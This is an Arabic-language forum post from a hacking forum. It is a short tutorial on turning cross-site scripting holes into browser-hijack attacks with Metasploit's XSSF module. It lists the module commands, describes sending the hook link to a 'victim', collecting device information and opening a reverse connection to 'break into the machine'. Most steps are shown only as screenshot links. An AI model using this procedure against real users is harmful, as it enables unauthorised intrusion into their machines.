:: vBspiders Professional Network :: - ثغرات xss عبر الميتاء وتحويلها الى XSSF

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- حقن xss - ssi (http://www.vbspiders.com/vb/f427.html)

- - ثغرات xss عبر الميتاء وتحويلها الى XSSF (http://www.vbspiders.com/vb/t62752.html)

ثغرات xss عبر الميتاء وتحويلها الى XSSF

السلام عليكم ورحمة الله وبركاتة

كيفكم اخوان ان شالله بخير وصحة وعافية

شرح بسيط حول تحويل او تطوير او استغلال ثغرات xxs عبر الميتا وتحويلها الى XSSF

بسم الله

اول شي
http://www.****sploit.com/redmine/at...s/596/XSSF.zip

وتحطة بملجد الميتا

ونكمل نروح نشغل الميتا
http://im28.gulfup.com/2012-05-18/1337336941401.png

اعطية الامر

load xssf
وراح يخرج لنا

http://192.168.2.103:8888/loop

طبعن هاذا هو الي راح نربطة مع الاستغلال ونرسلة لضحية راح نشوف بصور القدام
http://im28.gulfup.com/2012-05-18/1337336941335.png
مثل ماتشوف حنا طبقنا على مشروع
DVWA
تقدر تحملة وتدرب عليه من هينا
http://www.dvwa.co.uk/
بعد ماتربط الاستغلال وترسلة لضحية

نروح لم الميتا ونعطية الامر

xssf_active_victms
http://im28.gulfup.com/2012-05-18/13373369421610.png

ومثل مااتشوفون تم دخول الضحية بحمد الله

نكمل
ونعطية الامر
xssf_information
لستخراج معلومات الجهاز

auxiliary/xssf/*****

http://im28.gulfup.com/2012-05-18/1337336941833.png

ويتم الارسال لضحية
http://im28.gulfup.com/2012-05-18/1337336941204.png

http://im28.gulfup.com/2012-05-18/1337336942499.png

الحين راح نتصل اتصال عكسي

http://im28.gulfup.com/2012-05-18/1337336941126.png

http://im28.gulfup.com/2012-05-18/1337336941777.png

http://im28.gulfup.com/2012-05-18/1337336942878.png
وبكيذا نكون اقتحمنا الجهاز
http://im28.gulfup.com/2012-05-18/1337336941401.png

وفي النهاية ان كان هناك خطاء فلعذر

والشرح حصلتة بموقع اجنبي قلت انقلة لجل التطوير واوضح كل طريقة

والسلام ....